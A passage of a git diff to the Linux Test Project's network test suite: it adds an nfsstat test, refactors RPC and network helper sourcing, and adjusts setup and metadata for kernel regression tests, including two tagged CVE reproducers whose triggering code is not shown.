[ $? -ne 0 ]; then + tst_res TFAIL "content is different" + else + tst_res TPASS "content is the same" + fi +} + +. nfs_lib.sh +tst_run diff --git a/testcases/network/nfs/nfsstat01/Makefile b/testcases/network/nfs/nfsstat01/Makefile index cfde9aee..7ebeec14 100755 --- a/testcases/network/nfs/nfsstat01/Makefile +++ b/testcases/network/nfs/nfsstat01/Makefile @@ -6,6 +6,6 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/env_pre.mk -INSTALL_TARGETS := nfsstat01 +INSTALL_TARGETS := *.sh include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/network/nfs/nfsstat01/nfsstat01.sh b/testcases/network/nfs/nfsstat01/nfsstat01.sh new file mode 100644 index 00000000..6589c093 --- /dev/null +++ b/testcases/network/nfs/nfsstat01/nfsstat01.sh @@ -0,0 +1,95 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2016-2018 Oracle and/or its affiliates. All Rights Reserved. +# Copyright (c) International Business Machines Corp., 2001 + +TST_TESTFUNC="do_test" +TST_NEEDS_CMDS="nfsstat" + +get_calls() +{ + local name=$1 + local field=$2 + local nfs_f=$3 + local calls= + local opt= + [ "$name" = "rpc" ] && opt="r" || opt="n" + + if tst_net_use_netns || [ "$nfs_f" = "nfs" ]; then + calls="$(grep $name /proc/net/rpc/$nfs_f | cut -d' ' -f$field)" + ROD nfsstat -c$opt | grep -q "$calls" + echo "$calls" + return + fi + + calls=$(tst_rhost_run -c "grep $name /proc/net/rpc/$nfs_f" | \ + cut -d' ' -f$field) + tst_rhost_run -s -c "nfsstat -s$opt" | grep -q "$calls" + echo "$calls" +} + +# PURPOSE: Performs simple copies and removes to verify statistic +# tracking using the 'nfsstat' command and /proc/net/rpc +do_test() +{ + tst_res TINFO "checking RPC calls for server/client" + + local server_calls="$(get_calls rpc 2 nfsd)" + local client_calls="$(get_calls rpc 2 nfs)" + + tst_res TINFO "calls $server_calls/$client_calls" + + tst_res TINFO "Checking for tracking of RPC calls for server/client" + cat /proc/cpuinfo > nfsstat01.tmp + + local new_server_calls="$(get_calls rpc 2 nfsd)" + local new_client_calls="$(get_calls rpc 2 nfs)" + tst_res TINFO "new calls $new_server_calls/$new_client_calls" + + if [ "$new_server_calls" -le "$server_calls" ]; then + tst_res TFAIL "server RPC calls not increased" + else + tst_res TPASS "server RPC calls increased" + fi + + if [ "$new_client_calls" -le "$client_calls" ]; then + tst_res TFAIL "client RPC calls not increased" + else + tst_res TPASS "client RPC calls increased" + fi + + tst_res TINFO "checking NFS calls for server/client" + local field= + case $VERSION in + 2) field=13 + ;; + *) field=15 + ;; + esac + + server_calls="$(get_calls proc$VERSION $field nfsd)" + client_calls="$(get_calls proc$VERSION $field nfs)" + tst_res TINFO "calls $server_calls/$client_calls" + + tst_res TINFO "Checking for tracking of NFS calls for server/client" + rm -f nfsstat01.tmp + + new_server_calls="$(get_calls proc$VERSION $field nfsd)" + new_client_calls="$(get_calls proc$VERSION $field nfs)" + tst_res TINFO "new calls $new_server_calls/$new_client_calls" + + if [ "$new_server_calls" -le "$server_calls" ]; then + tst_res TFAIL "server NFS calls not increased" + else + tst_res TPASS "server NFS calls increased" + fi + + if [ "$new_client_calls" -le "$client_calls" ]; then + tst_res TFAIL "client NFS calls not increased" + else + tst_res TPASS "client NFS calls increased" + fi +} + +. nfs_lib.sh +tst_run diff --git a/testcases/network/packet/fanout01.c b/testcases/network/packet/fanout01.c index 5067d83a..4243f840 100755 --- a/testcases/network/packet/fanout01.c +++ b/testcases/network/packet/fanout01.c @@ -13,7 +13,6 @@ * See blogpost in copyright notice for more details. */ #include -#include #include #include #include @@ -22,7 +21,6 @@ #include "tst_test.h" #include "tst_fuzzy_sync.h" #include "lapi/if_packet.h" -#include "lapi/namespaces_constants.h" static struct tst_fzsync_pair pair; static int fd; @@ -30,21 +28,7 @@ static struct sockaddr_ll addr; void setup(void) { - int real_uid = getuid(); - int real_gid = getgid(); - - TEST(unshare(CLONE_NEWUSER)); - if (TST_RET) - tst_brk(TBROK | TTERRNO, "Can't create new user namespace"); - - TEST(unshare(CLONE_NEWNET)); - if (TST_RET) - tst_brk(TBROK | TTERRNO, "Can't create new net namespace"); - - FILE_PRINTF("/proc/self/setgroups", "deny"); - FILE_PRINTF("/proc/self/uid_map", "0 %d 1\n", real_uid); - FILE_PRINTF("/proc/self/gid_map", "0 %d 1\n", real_gid); - + tst_setup_netns(); tst_fzsync_pair_init(&pair); } @@ -106,6 +90,16 @@ static struct tst_test test = { .test_all = run, .cleanup = cleanup, .needs_root = 1, + .max_runtime = 180, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS=y", + "CONFIG_NET_NS=y", + NULL + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} + }, .tags = (const struct tst_tag[]) { {"CVE", "2017-15649"}, {"linux-git", "4971613c1639"}, diff --git a/testcases/network/rpc/basic_tests/rpc01/rpc01.sh b/testcases/network/rpc/basic_tests/rpc01/rpc01.sh index 9ca5daae..b803e433 100755 --- a/testcases/network/rpc/basic_tests/rpc01/rpc01.sh +++ b/testcases/network/rpc/basic_tests/rpc01/rpc01.sh @@ -7,7 +7,6 @@ TST_TESTFUNC=do_test TST_SETUP=do_setup TST_CLEANUP=do_cleanup TST_NEEDS_CMDS="pkill rpcinfo" -. rpc_lib.sh NUMLOOPS=${NUMLOOPS:-3} DATAFILES="${DATAFILES:-file.1 file.2}" @@ -19,7 +18,7 @@ do_cleanup() do_setup() { - check_portmap_rpcbind + check_rpc tst_res TINFO "start rpc_server" ROD rpc_server @@ -45,4 +44,5 @@ do_test() done } +. rpc_lib.sh tst_run diff --git a/testcases/network/rpc/basic_tests/rpc_lib.sh b/testcases/network/rpc/basic_tests/rpc_lib.sh index c7c86870..28b675ff 100755 --- a/testcases/network/rpc/basic_tests/rpc_lib.sh +++ b/testcases/network/rpc/basic_tests/rpc_lib.sh @@ -1,15 +1,22 @@ #!/bin/sh -# Copyright (c) 2020 Petr Vorel +# Copyright (c) 2020-2022 Petr Vorel -. tst_net.sh +TST_NEEDS_CMDS="rpcinfo $TST_NEEDS_CMDS" -check_portmap_rpcbind() +check_rpc() { - if pgrep portmap > /dev/null; then - PORTMAPPER="portmap" - else - pgrep rpcbind > /dev/null && PORTMAPPER="rpcbind" || \ - tst_brk TCONF "portmap or rpcbind is not running" + local services + + tst_res TINFO "check registered RPC with rpcinfo" + + services=$(rpcinfo -p) + + if [ $? -ne 0 ] || ! echo "$services" | grep -q '[0-9]'; then + tst_brk TCONF "no RPC services, is rpcbind/portmap running?" fi - tst_res TINFO "using $PORTMAPPER" + + tst_res TINFO "registered RPC:" + echo "$services" } + +. tst_net.sh diff --git a/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01.sh b/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01.sh index 811f79ef..723db3d7 100755 --- a/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01.sh +++ b/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01.sh @@ -7,11 +7,10 @@ TST_TESTFUNC=do_test TST_SETUP=do_setup TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="rpcinfo wc" -. rpc_lib.sh do_setup() { - check_portmap_rpcbind + check_rpc # Create file with 1 tcp and 1 udp line. Use for variable assignments. rpcinfo -p $(tst_ipaddr) | grep tcp | sed -n 2p > rpc_out @@ -53,4 +52,5 @@ do_test() EXPECT_RHOST_FAIL rpcinfo -u $thost 100000 5 } +. rpc_lib.sh tst_run diff --git a/testcases/network/rpc/rpc-tirpc/rpc_test.sh b/testcases/network/rpc/rpc-tirpc/rpc_test.sh index 54a68964..cadae552 100755 --- a/testcases/network/rpc/rpc-tirpc/rpc_test.sh +++ b/testcases/network/rpc/rpc-tirpc/rpc_test.sh @@ -17,7 +17,6 @@ TST_SETUP=setup TST_CLEANUP=cleanup TST_PARSE_ARGS=rpc_parse_args TST_NEEDS_CMDS="pkill rpcinfo" -. rpc_lib.sh usage() { @@ -45,7 +44,7 @@ rpc_parse_args() setup() { - check_portmap_rpcbind + check_rpc if [ -n "$SERVER" ]; then CLEANER="rpc_cleaner" @@ -91,4 +90,5 @@ do_test() EXPECT_RHOST_PASS $CLIENT $(tst_ipaddr) $PROGNUMNOSVC $CLIENT_EXTRA_OPTS } +. rpc_lib.sh tst_run diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast.c index 5f024f11..80d5f045 100755 --- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast.c +++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast.c @@ -59,7 +59,8 @@ int main(int argn, char *argc[]) //Call broadcast routine cs = clnt_broadcast(progNum, VERSNUM, PROCNUM, (xdrproc_t) xdr_int, (char *)&varSnd, - (xdrproc_t) xdr_int, (char *)&varRec, eachResult); + (xdrproc_t) xdr_int, (char *)&varRec, + (resultproc_t) eachResult); test_status = (cs == RPC_SUCCESS) ? 0 : 1; diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_complex.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_complex.c index c6e55cd8..e1bb8fcc 100755 --- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_complex.c +++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_complex.c @@ -78,7 +78,8 @@ int main(int argn, char *argc[]) //Call broadcast routine cs = clnt_broadcast(progNum, VERSNUM, PROCNUM, (xdrproc_t) xdr_int, (char *)&varSnd, - (xdrproc_t) xdr_int, (char *)&varRec, eachResult); + (xdrproc_t) xdr_int, (char *)&varRec, + (resultproc_t) eachResult); if (currentAnswer == maxAnswer) test_status = 0; diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_dataint.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_dataint.c index fdf1e31a..e1f7bcb6 100755 --- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_dataint.c +++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_dataint.c @@ -72,7 +72,8 @@ int main(int argn, char *argc[]) clnt_broadcast(progNum, VERSNUM, INTPROCNUM, (xdrproc_t) xdr_int, (char *)&intSnd, - (xdrproc_t) xdr_int, (char *)&intRec, eachResult); + (xdrproc_t) xdr_int, (char *)&intRec, + (resultproc_t) eachResult); if (intSnd != intRec) test_status = 1; @@ -84,7 +85,8 @@ int main(int argn, char *argc[]) clnt_broadcast(progNum, VERSNUM, INTPROCNUM, (xdrproc_t) xdr_int, (char *)&intSnd, - (xdrproc_t) xdr_int, (char *)&intRec, eachResult); + (xdrproc_t) xdr_int, (char *)&intRec, + (resultproc_t) eachResult); if (intSnd != intRec) test_status = 1; @@ -96,7 +98,8 @@ int main(int argn, char *argc[]) clnt_broadcast(progNum, VERSNUM, LNGPROCNUM, (xdrproc_t) xdr_long, (char *)&lngSnd, - (xdrproc_t) xdr_long, (char *)&lngRec, eachResult); + (xdrproc_t) xdr_long, (char *)&lngRec, + (resultproc_t) eachResult); if (lngSnd != lngRec) test_status = 1; @@ -108,7 +111,8 @@ int main(int argn, char *argc[]) clnt_broadcast(progNum, VERSNUM, LNGPROCNUM, (xdrproc_t) xdr_double, (char *)&dblSnd, - (xdrproc_t) xdr_double, (char *)&dblRec, eachResult); + (xdrproc_t) xdr_double, (char *)&dblRec, + (resultproc_t) eachResult); if (dblSnd != dblRec) test_status = 1; @@ -121,7 +125,8 @@ int main(int argn, char *argc[]) clnt_broadcast(progNum, VERSNUM, LNGPROCNUM, (xdrproc_t) xdr_wrapstring, (char *)&strSnd, - (xdrproc_t) xdr_wrapstring, (char *)&strRec, eachResult); + (xdrproc_t) xdr_wrapstring, (char *)&strRec, + (resultproc_t) eachResult); if (strcmp(strSnd, strRec)) test_status = 1; diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_performance.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_performance.c index 11ba64fa..d733e72e 100755 --- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_performance.c +++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_performance.c @@ -114,7 +114,7 @@ int main(int argn, char *argc[]) cs = clnt_broadcast(progNum, VERSNUM, PROCNUM, (xdrproc_t) xdr_int, (char *)&varSnd, (xdrproc_t) xdr_int, (char *)&varRec, - eachResult); + (resultproc_t) eachResult); if (cs != RPC_SUCCESS) clnt_perrno(cs); diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_scalability.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_scalability.c index 57ea2534..4455c117 100755 --- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_scalability.c +++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_scalability.c @@ -114,7 +114,7 @@ int main(int argn, char *argc[]) cs = clnt_broadcast(progNum, VERSNUM, PROCNUM, (xdrproc_t) xdr_int, (char *)&varSnd, (xdrproc_t) xdr_int, (char *)&varRec, - eachResult); + (resultproc_t) eachResult); if (cs != RPC_SUCCESS) clnt_perrno(cs); diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_stress.c index d5d7d85d..93330548 100755 --- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_stress.c +++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_broadc_clnt_broadcast/rpc_clnt_broadcast_stress.c @@ -65,7 +65,7 @@ int main(int argn, char *argc[]) cs = clnt_broadcast(progNum, VERSNUM, PROCNUM, (xdrproc_t) xdr_int, (char *)&varSnd, (xdrproc_t) xdr_int, (char *)&varRec, - eachResult); + (resultproc_t) eachResult); if (cs == RPC_SUCCESS) nbOk++; } diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_registerrpc/rpc_registerrpc.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_registerrpc/rpc_registerrpc.c index 3becf460..c6fb3e0f 100755 --- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_registerrpc/rpc_registerrpc.c +++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_registerrpc/rpc_registerrpc.c @@ -67,9 +67,8 @@ int main(int argn, char *argc[]) svcr = svcudp_create(RPC_ANYSOCK); //call routine - rslt = - registerrpc(progNum, VERSNUM, PROCNUM, simplePing, xdr_int, - xdr_int); + rslt = registerrpc(progNum, VERSNUM, PROCNUM, simplePing, + (xdrproc_t) xdr_int, (xdrproc_t) xdr_int); if (run_mode) { printf("SVC : %p\n", svcr); diff --git a/testcases/network/sctp/sctp01.sh b/testcases/network/sctp/sctp01.sh index a42bd497..4dfef86e 100755 --- a/testcases/network/sctp/sctp01.sh +++ b/testcases/network/sctp/sctp01.sh @@ -9,7 +9,6 @@ TST_NEEDS_ROOT=1 TST_TEST_DATA=",-A 65000" TST_TEST_DATA_IFS="," -. tst_net.sh test() { @@ -26,4 +25,5 @@ test() tst_netload_compare $res0 $res1 -200 200 } +. tst_net.sh tst_run diff --git a/testcases/network/sctp/sctp_big_chunk.c b/testcases/network/sctp/sctp_big_chunk.c index a6a326ea..46748684 100755 --- a/testcases/network/sctp/sctp_big_chunk.c +++ b/testcases/network/sctp/sctp_big_chunk.c @@ -1,9 +1,15 @@ // SPDX-License-Identifier: GPL-2.0-or-later -/* Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved. +/* + * Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved. + * Copyright (c) Linux Test Project, 2019-2023 + */ + +/*\ + * [Description] * - * Regression test-case for the crash caused by over-sized SCTP chunk, + * Regression test for the crash caused by over-sized SCTP chunk, * fixed by upstream commit 07f2c7ab6f8d ("sctp: verify size of a new - * chunk in _sctp_make_chunk()") + * chunk in _sctp_make_chunk()"). */ #include @@ -34,6 +40,26 @@ static int addr_num = 3273; static void setup_server(void) { + const char hmac_algo_path[] = "/proc/sys/net/sctp/cookie_hmac_alg"; + char hmac_algo[CHAR_MAX]; + int hmac_algo_changed = 0; + int fd; + + /* Disable md5 if fips is enabled. Set it to none */ + if (tst_fips_enabled()) { + /* Load sctp module */ + if (access(hmac_algo_path, F_OK) < 0) { + fd = SAFE_SOCKET(PF_INET, SOCK_STREAM, IPPROTO_SCTP); + SAFE_CLOSE(fd); + } + + if (!access(hmac_algo_path, F_OK)) { + SAFE_FILE_SCANF(hmac_algo_path, "%s", hmac_algo); + SAFE_FILE_PRINTF(hmac_algo_path, "%s", "none"); + hmac_algo_changed = 1; + } + } + loc.sin6_family = AF_INET6; loc.sin6_addr = in6addr_loopback; @@ -46,6 +72,9 @@ static void setup_server(void) SAFE_LISTEN(sfd, 1); srand(port); + + if (hmac_algo_changed) + SAFE_FILE_PRINTF(hmac_algo_path, "%s", hmac_algo); } static void update_packet_field(size_t *off, void *buf, size_t buf_len) diff --git a/testcases/network/sockets/bind_noport01.sh b/testcases/network/sockets/bind_noport01.sh index 4eec4fd9..19235afc 100755 --- a/testcases/network/sockets/bind_noport01.sh +++ b/testcases/network/sockets/bind_noport01.sh @@ -8,7 +8,6 @@ TST_MIN_KVER="4.2" TST_NEEDS_TMPDIR=1 TST_TEST_DATA="tcp udp udp_lite dccp" -. tst_net.sh test1() { @@ -31,4 +30,5 @@ test2() } +. tst_net.sh tst_run diff --git a/testcases/network/sockets/vsock01.c b/testcases/network/sockets/vsock01.c index a168e440..7be71a83 100755 --- a/testcases/network/sockets/vsock01.c +++ b/testcases/network/sockets/vsock01.c @@ -8,10 +8,11 @@ * * Reproducer of CVE-2021-26708 * - * Based on POC https://github.com/jordan9001/vsock_poc + * Based on POC https://github.com/jordan9001/vsock_poc. * Fuzzy Sync has been substituted for userfaultfd. * * Fixed by: c518adafa39f ("vsock: fix the race conditions in multi-transport support") + * * Fixes: c0cfa2d8a788fcf4 ("vsock: add multi-transports support") * * Note that in many testing environments this will reproduce the race @@ -111,6 +112,7 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .taint_check = TST_TAINT_W | TST_TAINT_D, + .max_runtime = 60, .needs_kconfigs = (const char *[]) { "CONFIG_VSOCKETS_LOOPBACK", NULL diff --git a/testcases/network/stress/broken_ip/broken_ip-checksum.sh b/testcases/network/stress/broken_ip/broken_ip-checksum.sh index c04038d8..64b1ac41 100755 --- a/testcases/network/stress/broken_ip/broken_ip-checksum.sh +++ b/testcases/network/stress/broken_ip/broken_ip-checksum.sh @@ -6,7 +6,6 @@ # Author: Mitsuru Chinen TST_TESTFUNC="do_test" -. tst_net.sh do_test() { @@ -19,4 +18,5 @@ do_test() tst_ping } +. tst_net.sh tst_run diff --git a/testcases/network/stress/broken_ip/broken_ip-dstaddr.sh b/testcases/network/stress/broken_ip/broken_ip-dstaddr.sh index 9ba8c816..56a9724e 100755 --- a/testcases/network/stress/broken_ip/broken_ip-dstaddr.sh +++ b/testcases/network/stress/broken_ip/broken_ip-dstaddr.sh @@ -6,7 +6,6 @@ # Author: Mitsuru Chinen TST_TESTFUNC="do_test" -. tst_net.sh do_test() { @@ -15,4 +14,5 @@ do_test() tst_ping } +. tst_net.sh tst_run diff --git a/testcases/network/stress/broken_ip/broken_ip-fragment.sh b/testcases/network/stress/broken_ip/broken_ip-fragment.sh index 6b8f2554..95efb634 100755 --- a/testcases/network/stress/broken_ip/broken_ip-fragment.sh +++ b/testcases/network/stress/broken_ip/broken_ip-fragment.sh @@ -6,7 +6,6 @@ # Author: Mitsuru Chinen TST_TESTFUNC="do_test" -. tst_net.sh do_test() { @@ -19,4 +18,5 @@ do_test() tst_ping } +. tst_net.sh tst_run diff --git a/testcases/network/stress/broken_ip/broken_ip-ihl.sh b/testcases/network/stress/broken_ip/broken_ip-ihl.sh index 483cd526..6588a165 100755 --- a/testcases/network/stress/broken_ip/broken_ip-ihl.sh +++ b/testcases/network/stress/broken_ip/broken_ip-ihl.sh @@ -6,7 +6,6 @@ # Author: Mitsuru Chinen TST_TESTFUNC="do_test" -. tst_net.sh do_test() { @@ -19,4 +18,5 @@ do_test() tst_ping } +. tst_net.sh tst_run diff --git a/testcases/network/stress/broken_ip/broken_ip-nexthdr.sh b/testcases/network/stress/broken_ip/broken_ip-nexthdr.sh index ec6643af..805b1f5a 100755 --- a/testcases/network/stress/broken_ip/broken_ip-nexthdr.sh +++ b/testcases/network/stress/broken_ip/broken_ip-nexthdr.sh @@ -6,17 +6,17 @@ # Author: Mitsuru Chinen TST_TESTFUNC="do_test" -. tst_net.sh do_test() { - # not supported on IPv4 - TST_IPV6=6 - TST_IPVER=6 - tst_res TINFO "Sending ICMPv6 with wrong next header for $NS_DURATION sec" tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMPV6_SENDER_DATA_MAXSIZE" -n tst_ping } +. tst_net.sh +# not supported on IPv4 +TST_IPV6=6 +TST_IPVER=6 + tst_run diff --git a/testcases/network/stress/broken_ip/broken_ip-plen.sh b/testcases/network/stress/broken_ip/broken_ip-plen.sh index e757507d..2108a957 100755 --- a/testcases/network/stress/broken_ip/broken_ip-plen.sh +++ b/testcases/network/stress/broken_ip/broken_ip-plen.sh @@ -6,7 +6,6 @@ # Author: Mitsuru Chinen TST_TESTFUNC="do_test" -. tst_net.sh do_test() { @@ -15,4 +14,5 @@ do_test() tst_ping } +. tst_net.sh tst_run diff --git a/testcases/network/stress/broken_ip/broken_ip-protcol.sh b/testcases/network/stress/broken_ip/broken_ip-protcol.sh index 0483b555..1563266a 100755 --- a/testcases/network/stress/broken_ip/broken_ip-protcol.sh +++ b/testcases/network/stress/broken_ip/broken_ip-protcol.sh @@ -6,7 +6,6 @@ # Author: Mitsuru Chinen TST_TESTFUNC="do_test" -. tst_net.sh do_test() { @@ -19,4 +18,5 @@ do_test() tst_ping } +. tst_net.sh tst_run diff --git a/testcases/network/stress/broken_ip/broken_ip-version.sh b/testcases/network/stress/broken_ip/broken_ip-version.sh index 535a07f9..4c80f230 100755 --- a/testcases/network/stress/broken_ip/broken_ip-version.sh +++ b/testcases/network/stress/broken_ip/broken_ip-version.sh @@ -6,7 +6,6 @@ # Author: Mitsuru Chinen TST_TESTFUNC="do_test" -. tst_net.sh do_test() { @@ -15,4 +14,5 @@ do_test() tst_ping } +. tst_net.sh tst_run diff --git a/testcases/network/stress/dccp/dccp_ipsec.sh b/testcases/network/stress/dccp/dccp_ipsec.sh index ff86063f..50c45b8b 100755 --- a/testcases/network/stress/dccp/dccp_ipsec.sh +++ b/testcases/network/stress/dccp/dccp_ipsec.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev @@ -8,7 +8,6 @@ TST_NEEDS_TMPDIR=1 TST_TESTFUNC=do_test TST_SETUP=tst_ipsec_setup TST_CLEANUP=tst_ipsec_cleanup -. ipsec_lib.sh do_test() { @@ -19,4 +18,5 @@ do_test() tst_netload -H $(tst_ipaddr rhost) -T dccp $opts -r $IPSEC_REQUESTS } +. ipsec_lib.sh tst_run diff --git a/testcases/network/stress/dccp/dccp_ipsec_vti.sh b/testcases/network/stress/dccp/dccp_ipsec_vti.sh index 24c28fbd..566c36d1 100755 --- a/testcases/network/stress/dccp/dccp_ipsec_vti.sh +++ b/testcases/network/stress/dccp/dccp_ipsec_vti.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev @@ -8,7 +8,6 @@ TST_NEEDS_TMPDIR=1 TST_TESTFUNC=do_test TST_SETUP=tst_ipsec_setup_vti TST_CLEANUP=tst_ipsec_cleanup -. ipsec_lib.sh do_test() { @@ -19,4 +18,5 @@ do_test() tst_netload -H $ip_rmt_tun -T dccp $opts -r $IPSEC_REQUESTS -D $tst_vti } +. ipsec_lib.sh tst_run diff --git a/testcases/network/stress/dns/dns-stress.sh b/testcases/network/stress/dns/dns-stress.sh index dfc2ed5e..c9036660 100755 --- a/testcases/network/stress/dns/dns-stress.sh +++ b/testcases/network/stress/dns/dns-stress.sh @@ -23,7 +23,6 @@ TST_TOTAL=2 TST_CLEANUP="cleanup" TST_USE_LEGACY_API=1 -. tst_net.sh # Minimum host ID in the zone file. # The ID is used as the host portion of the address @@ -196,13 +195,10 @@ test02() tst_resm TPASS "Test is finished successfully" } +. tst_net.sh common_setup - setup_$TST_IPVER - start_named - test01 test02 - tst_exit diff --git a/testcases/network/stress/ftp/ftp-download-stress.sh b/testcases/network/stress/ftp/ftp-download-stress.sh index 4320bbd6..44d8b8ef 100755 --- a/testcases/network/stress/ftp/ftp-download-stress.sh +++ b/testcases/network/stress/ftp/ftp-download-stress.sh @@ -24,7 +24,6 @@ TST_TOTAL=2 TST_CLEANUP="cleanup" TST_USE_LEGACY_API=1 -. tst_net.sh # Big file size to upload/download in ftp tests (byte) DOWNLOAD_BIGFILESIZE=${DOWNLOAD_BIGFILESIZE:-2147483647} @@ -90,9 +89,8 @@ test02() tst_resm TPASS "Test is finished successfully" } +. tst_net.sh setup - test01 test02 - tst_exit diff --git a/testcases/network/stress/ftp/ftp-upload-stress.sh b/testcases/network/stress/ftp/ftp-upload-stress.sh index 602dc4ed..cfd7d876 100755 --- a/testcases/network/stress/ftp/ftp-upload-stress.sh +++ b/testcases/network/stress/ftp/ftp-upload-stress.sh @@ -24,7 +24,6 @@ TST_TOTAL=2 TST_CLEANUP="cleanup" TST_USE_LEGACY_API=1 -. tst_net.sh # Big file size to upload (byte) UPLOAD_BIGFILESIZE=${UPLOAD_BIGFILESIZE:-2147483647} # 2GB - 1 @@ -98,9 +97,8 @@ test02() tst_resm TPASS "Test is finished successfully" } +. tst_net.sh setup - test01 test02 - tst_exit diff --git a/testcases/network/stress/http/http-stress.sh b/testcases/network/stress/http/http-stress.sh index 31fe5af8..562a49fb 100755 --- a/testcases/network/stress/http/http-stress.sh +++ b/testcases/network/stress/http/http-stress.sh @@ -24,7 +24,6 @@ TST_TOTAL=2 TST_CLEANUP="cleanup" TST_USE_LEGACY_API=1 -. tst_net.sh cleanup() { @@ -74,9 +73,8 @@ test02() tst_resm TPASS "Test is finished successfully" } +. tst_net.sh setup - test01 test02 - tst_exit diff --git a/testcases/network/stress/http/http-stress02-rmt.sh b/testcases/network/stress/http/http-stress02-rmt.sh index 1734c2bd..d7a77d3e 100755 --- a/testcases/network/stress/http/http-stress02-rmt.sh +++ b/testcases/network/stress/http/http-stress02-rmt.sh @@ -60,7 +60,7 @@ while true ; do -o /dev/null & done -killall -qw -s SIGPIPE curl +killall -qw curl out=$(curl --noproxy '*' -sS -g "http://$server_ipaddr/$filename" -o /dev/null \ -w "time=%{time_total} size=%{size_download} speed=%{speed_download}") diff --git a/testcases/network/stress/icmp/icmp-uni-basic.sh b/testcases/network/stress/icmp/icmp-uni-basic.sh index 2ae616cc..af65c853 100755 --- a/testcases/network/stress/icmp/icmp-uni-basic.sh +++ b/testcases/network/stress/icmp/icmp-uni-basic.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2016 Red Hat Inc., All Rights Reserved. # Copyright (c) International Business Machines Corp., 2005 # Author: Hangbin Liu @@ -8,7 +8,6 @@ TST_TESTFUNC=do_test TST_SETUP=do_setup TST_CLEANUP=tst_ipsec_cleanup -. ipsec_lib.sh do_setup() { @@ -22,4 +21,5 @@ do_test() tst_ping -s 